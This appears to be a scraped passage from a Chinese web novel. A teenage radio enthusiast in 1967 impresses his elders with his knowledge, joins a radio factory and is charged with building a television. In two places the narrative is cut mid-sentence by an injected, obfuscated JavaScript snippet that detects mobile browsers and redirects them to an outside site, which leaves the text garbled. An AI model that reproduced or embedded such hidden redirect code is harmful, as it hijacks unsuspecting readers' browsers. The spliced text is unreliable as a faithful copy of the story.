安康经过短暂的和秦国颂的接触,通过交谈发现他的知识量大的惊人,暗暗惊讶,他真不是一个普通的初中生,又看他屋里摆着他自己设计制作的一些物品,美观精致又实用,不由得对他刮目相看。 然而比较争强好胜的安康要拿出自己最擅长的一面,要好好的考一考秦国颂。安康对哲学,对经济学,对历史都感兴趣,但精通的就是无线电,因为他就是在这个部门工作,他干的就是这个活,他想要给秦国颂一个下马威。 安康看着秦国颂桌子上摆的那些无线电电气元件,问秦国颂:“你要组装的超外差收音机的元器件都准备好了吗?” 秦国颂:“基本上都准备好了,下一步就要组装了,双联可变电容器现成的买不到,这不我自己做了一个。”他拿起桌子上的自己做的双联可变电容器让安康看。 安康接过来仔细的看,心里暗暗惊叹,这手真是太巧了,不仔细看都看不出来是改装的,以为就是在商店买的原装的呢。 安康“你的图纸呢?几个管儿的?” 秦国颂:“六个管的,一级混频震荡,两极中放,一级前置低放,功放是两个管的推挽功放。” 安康说:“用的哪个图纸?图纸呢?我看看图纸。” 秦国颂:“用的是南京厂的熊猫牌图纸,我没有图纸,是在卖收音机的商店里看的图纸,本来想在商店里把图纸画下来,人家售货员不让,我就多看了几次,多看了几遍,把图纸记下来了。” 安康哎呀了一声。 “你记下来了?拿纸来画给我,我看看。” 秦国颂找了一张纸,拿了铅笔就在纸上画起来了,十几分钟后图纸画好了。 安康看了图纸,图纸画的工整洁净,线条分明,并且秦国颂的字写得也非常好看,很像他的人,娟秀稳重。 画图纸时,秦国送多了个心眼,他没有把短波那部分画出来,他不想让更多的人知道他在组装短波收音机。 安康打心眼儿里佩服秦国颂。他嘴上没说什么。心里却暗暗的想。这小子真是有点不简单了。 此时的黄国英满脸的自豪,美美的看着眼前发生的这一切,忽然心里暗叹到。 唉,他怎么会是个男的呢?唉…… 这时二凤过来了,对黄国英说:“姐夫,我妈把饭做好了,她听说安康大哥过来了,叫你们一起过去吃饭。”她边说边走到秦国颂跟前:“你也过去吃,不许推辞!” 黄国英和安康一起说。 “必须过去,不许推辞。” 秦国颂的脸又红了,有些紧张的搓了搓手,点点头答应了。 第16章 凤~颂(续) 二凤的家的饭桌上已经摆满了菜。老检察长张子东也在家,并且拿出了酒。 秦国颂一进门。看到屋中央桌上摆的饭菜。心里惊讶的暗自赞叹了一下。好丰盛啊! 秦国颂第一次来到二凤的家里,张子东拍了他的肩,爽朗的笑着大声的说。 “欢迎你呀,我们未来的科……哦,现在不大提科学这个词了,不过不管怎么样,闹革命也要搞科学嘛,干什么也离不开知识。文化大革命革的是旧文化的命,革的是传统文化的命,新的科学技术我们还是要发展的嘛。” 二凤过来对他爸爸说:“你看你别让他们站着了,快围着桌子坐下,要开饭喽!” 大凤在哄小雅睡觉,对他们说:“你们先入座吧,我一下就过去坐。” 其实秦国颂进屋的第一眼就看到了张子东家桌子上的那台收音机。他指了指收音机说:“这收音机我没见过,让我先过去看看好吗?” 张子东笑着说:“好呀,去看吧!” 秦国颂走到收音机旁边。这是一台苏联产的进口收音机,电子管的6个灯,三个波段上面还带电唱机。 秦国颂被这台收音机吸引住了,问张子东。 “伯伯,能打开让我听听吗?” 张子东说:“打开听吧,声音开小一点,那边的孩子刚睡着。” 秦国颂问:“能听短波吗?” 张子东回答:“这我可不知道。不过我这台收音机命挺好。没有被抄走过。但是好像短波波段被掐了,不让听了。就是不掐也没人听那些。那个唱机还能听,但是唱片没了。都卖废品了。” 然后他又对其他的人讲:“看到没有,这孩子的心都专注在这方面上去了。好了好了,快过来坐在座位上吃饭吧。” 秦国颂坐到饭桌的座位上。黄国英与安康一人一个挨在他旁边左右。大凤二凤一边一个挨着他爸。大风妈妈和其他的孩子们坐了另一桌。 张子东拿起桌子上的酒说道。 “今天有客人,咱们喝一瓶好酒。我这瓶泸州老窖头曲是特供的,一直舍不得喝。今天拿出来咱们高兴高兴。还有给在座的说一件事啊。今天是我们二丫头的生日。本来她不让说。我自作主张的把这个秘密说了出来。”他看了一眼坐在旁边的二风:“二丫头,不怪罪我吧?别为这一点给我贴大字报就行了。”说完他哈哈的开心大笑起来。 二凤有些难为情的笑了。用眼睛白了一眼张子东。快人快语的说道。 “别看我爸整天嘻嘻哈哈的像是没事人一样。小心眼儿,还记仇呢。” 她调皮的用手拍了拍张子东的胳膊。 “你知不知道我那是用保护你的另一种方式呢?不信,你问我姐。” 大凤点了点头。笑着对他爸说。 “真的!二凤用心良苦的很呢。” 张子东开心的大笑起来。他的笑声感染了桌旁的人。人们都跟着笑了。 秦国颂听到了今天是二凤的生日。心里暗想这个二凤真是,也不提前跟我说一下。我还有礼物呢。他想着在天主堂里面他捡的那些个那些个五颜六色的念珠。 安康站起来对二凤说道:“真没有想到你今天过生日。也没有一点准备。叫我情何以堪呀?” 二凤对他说道:“安康哥,坐在这里的都不是外人。我没有想过要过生日的。都怪我爸多嘴。”说着她冲她爸做了个鬼脸。 安康又接着说道:“真可惜,我不会喝酒啊,怎么办呢?”他又问坐在旁边的秦国颂:“你会喝酒吗?” 秦国颂忙说:“不会,我长这么大一口酒都没喝过。” 黄国英笑着说。 “安康会喝,这我知道。你不会是挑了二凤的理吧?”接着他又说:国颂会不会我不知道,不过我觉得他岁数还太小了。他应当不会。” 秦国颂点了点头。 张子东说:“今天到我这儿来,不管会不会喝都倒上一小杯,能喝的多喝,不能喝的少喝。不强迫,好吧。” 于是拿起杯子。在桌子旁的人每人都倒了一小杯,包括大凤二凤都给她们倒上了。 这一下秦国颂也不能推辞了,他看大凤二凤杯里都倒了酒,他自己还能再说什么,只能勉强的暗暗告诫自己就一小杯多了不喝。” 张子东拿起酒杯,一口就把那一小杯酒喝进去了。喝完后他招呼大家。 “你们都喝吧,我不习惯用小杯喝酒,就是为了要照顾你们,才拿着小杯,我换一个大的。” 然后转脸对旁边的二凤说道:“二丫头,去给我拿个大杯子来。” 二凤站起来去给他取杯子。黄国英对秦国颂和安康说。 “咱们也喝吧,能者多劳,能喝多少算多少,好吗?” 然后他凑到秦国颂的耳边说道:“你要真不能喝,用嘴舔一口就行,尝尝滋味。这酒不错,好几块钱一瓶呢,我三天的工资。” 秦国颂点了点头,拿起酒杯抿了一小口。咧咧嘴:“啊,真辣。我第一次喝酒,感觉挺香的,喜欢闻这个味道。” 坐在另一边的安康说道:“第一次喝酒你就喜欢,看来你跟酒真的是有缘了,不过注意,第一次喝酒的人都容易醉。” 张子东换了大杯子,倒上了满满一大杯的酒,仍然是乐呵呵的说道。 “好长时间没有和这么多人在一桌子上吃饭喝酒了。今天呢,咱们高兴,我就喝这一大杯,喝完了好好睡上一觉。我这是躲进小楼成一统,管他冬夏与春秋。这,这话是鲁迅说的吧?” 众人都笑了,点头称是。 安康说道:“伯伯心态真好,晚辈学习了!” 张子东又喝了一大口酒:“这个生活当中过日子啊,心情好是一天,心情不好也是一天。怎么着都是一天,干嘛自己给自己过不去啊!想开了,该吃吃,该喝喝,我老张枪林弹雨都闯过来了,还能为这点屁事吓着?”转脸对二凤说道:“二丫头,拿起杯来陪爸爸喝一口。” 二凤也真听话,拿起小杯一饮而尽。 二凤喝完酒,看着坐在对面的秦国颂,给他使了个颜色,意思就是你也喝呗! 秦国颂看了看二凤。拿起杯一饮而尽。笑着说道。 “真好喝!伯伯,我喝一杯就行了,我怕喝醉了。” 张子东哈哈大笑:“行啊,你自愿,自己掌握了就行,赶紧吃口菜,压压酒。” 秦国颂这才拿起筷子往嘴里放了几口菜。黄国英又给他加了菜放到他跟前的盘子里。“再吃口菜,你还喝酒吗?” 这一小杯酒下肚,秦国颂感觉非常的舒服,他没有想到酒还这么好喝,他微微的笑着点了点头。 “要不然就再喝一小杯,我觉得应该没事吧?” 黄国英又给他倒了一杯,边倒酒边说。“那就再喝一杯吧。二凤都能喝两三杯,何况你一个小伙子。” 安康接着说道:“这喝酒可不分男女,有的人天生的酒量就大,我们单位有一个女的三四个男人都不是她的个,特别能喝。” 二凤见秦国颂倒满了酒,跟着也说。 “我也再倒一杯,就喝两杯。” 张子东张开嘴又笑了:“我这个二丫头啊,我就拿他当个小子养活的,这性格也像。再说了,今天是你过生日呢,再喝一杯。” 于是大家端起酒来,在一片祝福当中,把这第二杯酒又一饮而尽。 秦国颂喝下第二杯酒以后,忽然感觉他眼前看到的画面有些异样。他看到对面的人有些模糊,看二凤微笑的脸像是有重影。再看对面坐着的人的脸都有重影。感觉人们笑的都很温暖,听他们说话觉得距离有点远。又看了看身旁坐着的黄国英与安康。他们的脸都是清晰的。他自己傻傻的笑了,心想这难道是喝多了? 黄国英看他有些异样,关切的问道。 “你喝多了吧?” 秦国颂笑笑说:“好像还没有吧,就是看他们的脸有重影。” 安康说道:“嗯,那就是有点多了,不要喝了啊?” 秦国颂点点头。 “嗯,不喝了。但是我感觉挺舒服的,真没有想到喝了酒是这种感觉。” 安康说:“意识清醒就好,说明没有喝多,这种状态是最舒服的。继而又说道。 “你不是喜欢哲学吗?问你个哲学问题。这喝酒啊涉及到一个存在和意识的问题。你说存在和意识哪一个重要?” 二凤抢话道:“安康哥,这个问题你算找对人了,类似的问题他对我讲过呢。” 秦国颂有些腼腆的摆了摆手。 “当了这么多人,我可不敢乱说,跟你说的那些话,那是咱俩在车上太寂寞了,太无聊打发时间随便说着玩儿的。” 张子东笑笑说:“这小子还挺谦虚的,我倒是要听听你的见解,我听二凤也说过你懂得很多的。说给我听听。” 秦国颂感觉有些朦胧,听着这些话像是从远处飘过来的一样,但是大脑的思考却是很清晰,还非常的活跃,转动的也很快,并且还有了一些兴奋的冲动感,忽然来了灵感…… 第17章 凤~颂 (续) 秦国颂有些兴奋的侃侃而道。 “存在与意识是哲学中的两个比较重要的概念。他们既各自独立又互相依赖,存在是我们对客观世界的认识的基础。而意识是我们体验理解并改造世界的主观力量。”他看了一下放在他面前的酒杯。继续说道。“比如我面前的这杯酒,这是存在的。我能不能还继续喝呢?这是我对酒的意识。这种意识取决于我对酒的了解程度和我自身的酒量决定喝还是不喝。这便是存在和意识的辩证关系。我不知道我这样说对不对。只有意识对存在有了更深刻的了解,意识到行与不行的时候。只有意识到存在的本质的时候,存在才对它有着更深刻的意义。” 他看了看人们的反应,问道:“我没说乱吧?” 二凤用专注的眼神看着他。冲他点了点头。“没有,我听着呢。” 秦国颂缓缓的出了一口气,继续说道。 “存在和意识,互相影响,互相作用。物质世界为意识提供内容,而意识则通过人们的实践活动,对物质世界进行反作用和改造。例如人类社会中的科技发展和文化进步,都是意识对物质世界进行改造的体现。反过来物质条件的变化又会影响意识形态的变革。二者是辩证统一的。现在提倡辩证的看问题。我觉得这应当是科学的态度。” 张子东微微一笑,用赞赏的口吻说道。 “说的挺好。他说的这些话你们在座的人恐怕没人能说得出来。这小子啊还真行,好,你继续说,我愿意听。” 秦国颂这时的感觉是什么呢?他唯一的感觉就是忘了羞怯。他忽然觉得他可以大声说话了,甚至可以不用考虑其他人的感受,他可以肆无忌惮的想要说他表达的话。他忽然觉得酒这个东西真好!他竟然可以让人忘记了胆怯,并且可以让人说出平时想不出说的那些话来,用不着鼓足勇气的去说,随口说出来就行。那都是不用事先斟酌好的话。接下来他说: “意识是什么?是我们接触到存在的自然反应。这些自然反应是通过我们感官而感受到的,但是我们的感官是有限度的,有的东西我们就感觉不到。比如说电波,这个我们就没有办法感受到,我们之所以知道电波的存在,是因为有一个装置让我们感觉到它的存在。这个装置就是收音机。通过这个装置,我们感觉到了电波的存在,其实电波早就存在了,早就有了。我们只不过没有装置接受它罢了。类似的东西还有很多,我们只不过目前没有这种接收装置。单靠我们人类自身的感官是感受不到的。” 他咽了一下口水,继续说道。 “存在的东西很多,但是呢,我们没有意识到。没有意识到的东西并不等于没有,只是我们太落后了,落后到我们没有办法感知和意识到那些东西的存在。那些东西存在的。其实那些东西都是设计好的。它就在那儿。不管你意识不意识。” 接下来他继续说:“我想着装完这个收音机以后。再弄一个接收装置……” 秦国颂滔滔不绝的说了这番话,黄国英和安康不错眼珠的看着他,他们非常惊讶,这么小小的年纪竟然说出这番话,这番道理他们都不曾想过,他不光看的书多,重要的是有他自己的想法,自己的理解,自己的要付诸的行动。 黄国英问:“你下一步想要做一个什么样的装置呢?” 秦国颂:“我想做一个能接受卫星信号的装置。” 安康说:“卫星?在我们这里存在吗?你怎么意识到的呢?” 秦国颂:“我是间接意识到的。我看了国外科技动态杂志里面介绍的。它就在天上飞着,围着我们地球转。我们只不过是意识不到它的存在罢了。另外呢,也有报道披露我们国家也在搞人造卫星。我相信不久就可以实现。苏联的第一颗人造卫星上天都10多年了。我就想做一个装置接收它的信号,看看能不能做到。” “你就是真的搞了那个装置,能接收到卫星上的信号。那信号你能听得懂吗?”二凤忍不住的插话道。 秦国颂:“听不懂没关系。最起码的我们知道那个东西存在啊。再说了,它里面一定有咱们能听懂的东西存在。知道了他的存在,我们才能改变自己的意识,意识到我们的缺陷……” 张子东都忘了喝自己杯中的酒了,伸出拇指。“好小子!真他妈是个材料!”他忽然叹了一口气:“你有点生不逢时啊……” 安康看着秦国颂说:“你初中毕业了吗?等你拿了初中毕业证去我们单位上班吧。不过单位现在没有招工指标,你可以先干临时工嘛。等有了指标,咱们再考虑转正的事。我和我们单位领导说一下,如果领导同意了,我就通知你!” 秦国颂说:“去年我们就毕业了。毕业证都没有发给我们。停课闹革命呢。” 黄国英对着安康击了一下掌。黄国英说。 “太好了!你这是帮他到了发挥他专长的地方了。他一定会有所作为的。” 秦国颂感激的对安康点了点头。他继而补充他的话题。 “如果我们的接收装置够强的话,我们还可以得到地球以外的存在的信息呢。甚至宇宙的信号,我们也可以得到。如果我们的发射装置够强的话,还可以让宇宙的其他的生物知道我们的存在,从而和我们建立起联系,那我们的意识就不会是井底之蛙了。” “我还读了爱因斯坦写的《相对论》。没有读懂,但我觉得有道理,他看问题超出了牛顿看问题的眼光。牛顿是站在地球上看世界看宇宙。他认为空间和时间是绝对分开的不相关的。爱因斯坦是站在地球外面看世界看宇宙,他认为空间和时间是一回事。他甚至站得还远。有多远呢?反正是我们无法看到的地方……他竟然说我们所见到的光都是弯曲的。太阳偌大的质量把空间压弯了,把时间压弯了。光是通过空间来传递的,空间弯了,传到地球上的光线自然也就弯了。它怎么能把空间和时间都能压弯呢?……那空间和时间到底是什么?” 秦国颂若有所思的呆呆的自言自语…… “《相对论》这本书是借我们物理老师的,现在闹运动了,他也被批判受牵连了。本来想还他,后来想了想算了,说真心话这本书我还是想再好好的读一读看一看的。” “这些话我只能给你们说一说。好像现在不能提爱因斯坦呢。听说有的教授因为爱因斯坦还受到批判。我是学生又不是什么权威,他们斗的是资产阶级的反动权威……我会跟着挨批斗吗?如果行的话,我倒是挺愿意的。我会感觉到很荣幸……” 黄国英心想。这真是初生牛犊不怕虎啊。 他有些无奈的摇了摇头。 第18章 生活 一个人在没有参加工作以前叫活着。参加工作以后才叫生活。因为可以挣钱养活自己了。——秦国颂 安康真的把秦国颂领去见了他们的厂领导。 厂领导是新来的。个子很高,浓眉大眼。穿着一身不戴领章帽徽的绿军装。年龄三十七八岁。姓郑,叫郑弘山。 “这就是我说过的秦国颂。郑主任,您看他行不行,也可以当面考一考他。”安康对郑弘山介绍说。 郑弘山打量了一下秦国颂扑哧笑出了声音。 “哈哈,我怎么看着他好面熟啊,你仔细看一下他长得像谁?”郑弘山笑着对安康说。“分明就是小号的我嘛?哈哈哈,太巧了,真像我年轻的时候!” 郑弘山是个爽朗的人,他的笑声可以感染人,他接着又对安康说道。 “你再仔细看看是不是有些像?这眉眼儿,这股精神劲儿?” 安康笑着说道。“真的是啊,真很像!您要不说,我还没看出来。真的是太像了!第一次见他的时候,我觉得他怎么像一个人呢?就是没想起来。” 郑弘山对秦国松说:“拿到毕业证了吗?还没有吧,应届的高中和初中毕业生都要推迟毕业,留校搞运动闹**了,配合学校的**组织批斗那些走资派。你没参加组织?” 秦国颂点了点头:“参加了。我还是红卫兵呢,学校有好几个组织都让我参加,我一下参加了两个组织。不过我不怎么参加活动。对那些没什么兴趣。” “嗯?对**还没兴趣啊。”郑弘山故意的问道。 秦国颂诚恳的说:“我爸爸是老红军,闹了一辈子**,我从小就受他的教育,尊重**先辈。可,可现在这**……”秦国颂看着郑弘山,停顿了一下。又说道:“嗯,我也说不好,我觉得我还是干我最喜欢的事,科学技术,闹**也离不开这些呀。” “嗯,也是啊,你还是个初中生,这样你先进厂当临时工,一个月30块钱。看看发展怎么样,有潜能的话等有了指标咱们再考虑转正的事。好吧?” 郑弘山对安康说:“这样吧,先让他去金工车间,去洗车组,就是小范儿他们那个组,让他先跟小范学习。他们那个组不是搞技术革新吗?正好让这小伙子过去锻炼锻炼。” “好,我这就领他过去!”安康答应着。 “先去劳资科办个手续,填个表,填完表就领他去看看。从明天起正式上班。”郑主任吩咐道。 秦国颂跟着安康填完表来到了金工车间,见到了小范。小范可不显小,看模样都像个老范,其实呢,他还不到30岁,长得显老,个子不高,略显得有些驼背。一副和蔼可亲的笑脸,他用棉丝擦了擦手。笑着跟秦国颂握手。 “嗯嗯,来了。我刚听领导说了,要分过来一个学员。欢迎欢迎!我们这儿现在就缺年轻的有文化肯钻研技术的。说实在的……” 小范是金工车间的一个班长。他有句口头禅:说实在的……这句口头禅就跟他的人一样,显得那么实在。 安康握着范班长的手:“范班长辛苦了,这小伙子叫秦国颂。红军的后代,人极聪明,把他交给你我就放心了,可不能保守啊,要真心的教他。” 范班长憨厚的笑了。“说实在的,你脑子就好使,挺聪明的。在我们厂谁不知道啊?” 安康摇了摇头。“我可比不上他,接触接触你就知道了,人不但聪明,还特别谦虚好学!” 范班长又看了看秦国颂。“哦,叫国颂是吧?以后你就叫我范师傅就行了,没关系的,好好学,将来一定有出息。” 他指的是旁边的这台洗车车床。“这台车床是咱们厂的宝贝,跟我好几年了,有感情。”接着他又说道。“铣车跟别的车床最大的区别就是加工的车件不转动。车刀动。你看那圆车,车件在卡头上转动,车刀只是平行或者前后的运动。咱们这个正相反,车件平行前后的运动,而车刀呢,旋转着在做上下前后左右的运动……明白了吗?” 说着他搓了搓手,拿出一支烟点着。 “我文化不高,说不出深刻的道理来,你能听明白就行。” 秦国颂看着范班长憨厚的样子,心里感觉到轻松温暖。他红着脸笑笑说。 “您说的真好,不愧是老师傅,一句话就说到点子上了,我都能听明白。范师傅以后就拜托您了,给您添麻烦了。” 这话说的范班长都有些不好意思了,他咧开厚厚的嘴唇乐了。 “别说这些客气话。以后啊,咱们就是一家人了,见了我千万别客气,有什么需求,只要我能做到的。你尽管说。” 于是秦国颂就成了范班长范志明的徒弟。说实在的这个范志明范班长对秦国颂是真的好。在以后的一些日子里,他不但毫无保留的把技术传授给秦国颂,而且在生活上还给予他一定的照顾。去食堂打饭他都要打两份,一份是他自己的,一份给秦国颂。 那时的师徒情谊毫无自私而言,**的友谊加上人性的关怀,每个人都能感觉到无比的温暖…… 范班长总是给他说。你还小,正在长身体,要多吃些。别不好意思。等你发了工资,有了钱再请我吃。这行吧? 谦虚好学又聪明的秦国颂,很快就掌握了铣车的原理。这让小范师傅高兴的合不拢嘴,见人就夸他带了个好徒弟。 “这孩子很快就能超过我,说实在的……真的!” 有一次来了一个工件很不好加工。小范师傅都有些怵头。他在那儿琢磨来琢磨去,就是不好摆放工件的位置,找不到加工的角度。秦国颂看到范师傅着急的样子,打量了一下加工的那个工件,对范志明师傅说。 “能不能先把它卡在圆车上镗一下?” 小范师傅看了一眼秦国颂,意味深长的说。“咱们操纵的是铣车,你知道它还有什么名字吗?它叫万能铣。拿到圆车上去加工,还不让人家把咱们笑话死。”接着他又补充道。“只有圆车干不了的活,拿到咱们这边来,还没有见过咱们干不了的活,去找圆车的呢。如果要是没有圆车的话,咱们这活就不干了?” 秦国颂一下子对范师傅由衷的感觉到敬佩。敬佩他这种精神,敬佩他恪守职责的这种工作态度,在敬佩之余,他又觉得范师傅有点死心眼儿。进而又一想也是啊,如果没有圆车的话,这活儿那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477725|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道咱们就干不成吗? 秦国颂受了范师傅的感化,心里想着快点找到解决它的办法。 他琢磨了一会儿,忽然灵机一动。换了个角度思考加工这个工件的操作程序。他把想法告诉了范师傅。范志明一拍后脑勺。 “对呀,我真是死脑筋!还是年轻人脑子快呀。” 工件加工好了。范师傅乐呵呵地笑着对秦国颂说。“功劳在你这里,我要给你记头功!” 他对车间里其他的师傅们说:“说实在的,他真的不一般,真的!” 时间到了1967年。要过春节了。 这一年的春节很特殊,不放假。 《人民日报》刊登了一份57个**组织的联合倡议书。倡议书中提出:什么敬神拜年,请客送礼都让他统统去见鬼!春节被戴上了**的帽子成了忆苦思甜和斗私批修的战场。让广大干部群众抓**,促生产。 大年三十晚上收音机和广播喇叭里播送的是《白毛女》“北风那个吹……” 这滋味真是别有一番风情。用**代替团圆是全国人民的主旋律。 大年三十的晚上,秦国颂正在车间加班,车间的广播喇叭里传出了通知,让他来郑弘山办公室一趟。秦国颂放下手中的活。洗了手,快速向郑弘山的办公室跑去。 郑弘山微笑地接待了他。“秦国颂同志,请坐。” 他给秦国送倒了一杯水。“我听说你在组装一台收音机,还是挺高级的那种,收音机装好了吗?” 秦国颂有些惶恐的看着他的领导,羞怯怯的回答。 “装好了,就是还不太理想,有些功能还正在调试当中。” “嗯,我听说还是6个管的,市面上挺不好买到的那种。你能把它拿来让我看看吗?” 秦国颂没明白领导说这些话是什么意思?他赶紧解释到。“不算高级,就是普通的那种,市面上很少,价格还有些贵。就这我组装还花了二十多块钱呢,如果买现成的将近七八十块钱呢。” “嗯,真有本事!你现在回去把它拿来让我参观参观好吗?” 秦国颂显得有些忐忑不安。“现,现在去吗?” 郑弘山说。“现在去吧,有什么困难吗?” 秦国颂赶忙回答道。“没,没有,我去给范师傅请个假,马上就去拿。” 秦国颂离开了郑弘山的办公室,怀着忐忑的心情来到了车间,对范志明说。 “范师傅,我请一会儿假,回趟家。厂领导要我回家取我自装的那台收音机。不会有什么问题吧?”他又悄悄的对范志明说。“我装的那台收音机是可以听短波的……” 范志明“额”了一声,沉吟了片刻。 “通过这一阶段,我们了解的郑主任,这人尽管是新来的,但是人很正直,不整人,他也有文化,工人们都挺尊重他的。” 然后又安慰秦国颂:“你把那个短波波段掐了,再拿给他看,他要问你,你就说还没装好呢。” 秦国颂答应了一声。“谢谢你范师傅!这事就你一个人知道,我跟别人没说,谢谢你了。” 范志明微微笑了笑:“快去拿吧!也许是好事呢。” …… 第19章 生活(续) 秦国颂把收音机抱到郑弘山的办公室。郑弘山仔细的端详他组装的这台收音机。 漂亮的机壳里面布局整齐有序的元件,元器件的焊接点均匀漂亮,简直就像正规厂家生产的产品。郑弘山打量了打量秦国颂。 “这都是你自己弄的?” 秦国颂点了点头。 郑弘山伸出了大拇指。 “漂亮!真漂亮,这么漂亮的机壳也是你做的?” 秦国颂又点了点头。 “你怎么想出来的点子?这么漂亮的计科材料,你是到哪里弄到的?” 秦国颂小声地回答。 在文具店买的塑料垫板,拼装组合后用胶水粘的。为了使它美观,我特意的买了几种鲜艳的颜色。” 郑弘山拿着收音机,用手抚摸着收音机的外壳,不住的赞叹。 “真漂亮,真精致!打开我听听好吗?” 秦国颂小声嘟囔道。 “现在只能停中波,短波我没敢弄,不让听。” 郑弘山笑了:“咱们就听中波。能听几个台啊?” 秦国颂回答:“灵敏度还算是挺高的,我也没有数过,差不多和商店的一样,我和我们家邻居的一台电子管收音机对比过,跟他那个差不多。” 郑弘山打开收音机,旋转的调谐钮,搜索着收音机的频率,细心的听着收音机的声音。他不住的点头。 “好!好!真的很好!你这完全可以成为工程师啊?唉,我说,给你个任务你能完成吗?”他用眼睛盯着秦国颂说道。 “你想过要组装电视机吗?” 秦国颂瞪圆了眼睛。“做梦都想!” “好!那咱们就说定了。我给你找图纸,给你提供原件,你给我组装,咱们先试制生产一台。如果能成功的话,我上报上级。咱们厂可以考虑生产电视机的项目。” 他看了看有些发呆的秦国颂,又接着说道。 “你看啊,咱们是不是这样,第一台电视机的试制费用呢?我自己出,不能用公家的钱。我担心弄不成功那损失不就摊在公家身上了吗,咱们不能那么做。” 他拍了拍秦国颂的肩。“行吗?我说的行吗?” 秦国颂差点儿掉出来眼泪。“郑主任……你,你真好,真好!”他嘴唇哆嗦着说出了这几个字。接着他喝了口水,鼓足了勇气。 “主任你放心,我不会让你失望的,如果装不成的话,费用是咱们两个的。不能让你一个人出钱。” 郑弘山被他天真的话语逗笑了。 “真没看出来你还挺讲义气的啊。不过现在呢,不兴讲义气了,现在我们讲的是**的志气!有了这个志气,我们就一定能够成功。小伙子,我相信你!大胆的干,从明天开始我就给你一间办公室,再给你配一个助手,你就来办公室给我组装电视机。” 他思索了一下。接着试探性的问道。“你说咱们是装电子管的呢,还是装晶体管的?” 秦国颂抬起脸,凝望着郑弘山。 “晶体管是发展趋势。以后还会发展集成电路。这些信息我是从国外科技动态的资料里看到的。但是……晶体管电视机咱们能找到现成的资料图纸吗?” 郑弘山思考了一下。“我打电话给天津无线电厂咨询一下。我们国家就他们厂发展电视机比较早。看看他们有没有这方面的资料。你等一下,我现在就打。” 郑弘山拿起电话机,拨通了天津无线电厂的电话。 过了一会儿,郑弘山放下电话。对秦国颂说。 “现成的全晶体管的电视机的图纸资料他们那边也没有。他们也在搞研发。这样吧,咱们两条腿走路。咱们设计一台晶体管和电子管混合电路的电视机。现有的条件晶体管能取代电子管多少,咱们就让它取代多少。你看我这个主意行吗?” 秦国颂看到了希望。使劲的点了点。 “太行了!咱们就这么干!” 郑弘山兴奋地说道。“这事儿咱们要是干成了,不敢说在全国首开先河。在全市也是先例呢。好吧,咱们就这么定了。电视机的名字我都给想好了。咱们就叫《东方红》牌,行吗?!” 秦国颂激动地点了点头,流出了眼泪…… 秦国颂在国营无线电厂里拥有了自己独立的工作间。领导上还给他配备了一个年轻的女助手。苗条漂亮的23岁大学生技术员王春梅。大学生给初中生当助手,这种奇葩事也只能在这个奇葩的时代出现。知识分子在当时称为臭老九。 他们工作的第一步就是研究图纸。图纸没有现成的。只能从众多的资料当中拼凑出一张图纸。尤其是晶体管电路电视机在当时还是我国的一项空白。就连大学毕业生电子专业毕业的王春梅都知之甚少。于是王春梅提供各个单元的设计原理。秦国颂设计成各个单元的电路原理图。设计晶体管电视机原理图的难度可想而知。只能根据现有的材料,现有能够找到的元器件来设计。尤其是电视机的行扫描电路晶体管还不能完全取代。只能延用电子管替代。还有难度最大的就是显像管以及显像管单元的高压电路。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483153|169521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的显像管只有天津无线电厂生产。黑白显像管35厘米。约14英寸。组装一台晶体管和电子管混装的电视机在这时这种难度是绝对的具有挑战性的。没有现成的图纸,没有现成的原材料。可以说真的是一穷二白。还有现在轰轰烈烈的**运动正在如火如荼的进行。各行各业的正常运转均被打破。要想在这个条件下试制成晶体管电子管混装的电视机,其难度不亚于上青天。 还有就是费用问题。试制成一部电视机的成本就需要五六百块钱。相当于秦国颂一年半的工资。为了降低成本秦国颂考虑到用工业示波器来代替显像管。但是这个想法很快就被推翻。用示波器代替显像管制成的电视机没有实用意义。第一银屏太小。第二对比度达不到显像管的要求。 这一系列的难题困扰着秦国颂。困扰了他的所谓的试制小组。他一度有了放弃这个的念头。当他把这个想法和郑弘山讲了以后。郑弘山表态先不考虑那么多,几百块钱,他还出得起,更何况用示波管代替显像管造价就更低了。咱先干出一台再说。 秦国颂毕竟只是一个初中毕业生,这么重的担子压在这么小岁数的年轻人身上,真的让他有些喘不过气来。他对成功是信心百倍的。他一贯认为事情是人做的,只要有信心就一定能够成功。但是唯一让他有负重感的就是厂里花这么大的力气,这么好的条件让他搞试制工作。做出来的东西又没有什么实际价值。只能说明我们成功的研制出一台达不到电视机效果的电视机。我们做它的意义在哪里? 再就是他目前确定不了用多长时间什么时候能够完成这项任务。他考虑的不是失败,而是时间,这是个未知数,他找不出现成的方程式来解。他感到异常的苦闷。 他索性不回家了,吃住都在厂里,都在他的设计室。他好像是下了一笔大注,一定要赌赢。赌赢什么呢?他自己也不知道。 二凤有好几天没有见到秦国颂。听安康说他为了搞技术革新吃住在厂里,于是二凤来厂里找秦国颂。 二凤得知秦国颂在研制电视机,先是惊讶,再就是担心,后又是嫉妒。她嫉妒那个年轻漂亮的女大学生技术员陪着秦国颂。一个大学生给一个初中生当助手,她真有点想不通。不光她自己想不通。更替那个女技术员想不通。她想了又想觉得这个事情不是那么简单。于是她要快速的向秦国颂挑明确定俩人的恋爱关系。这丫头的性格我们都已经了解到了,她可不是个省油的灯! 第20章 生活(续) 有一天,二凤向秦国颂提出了一个特殊的要求。 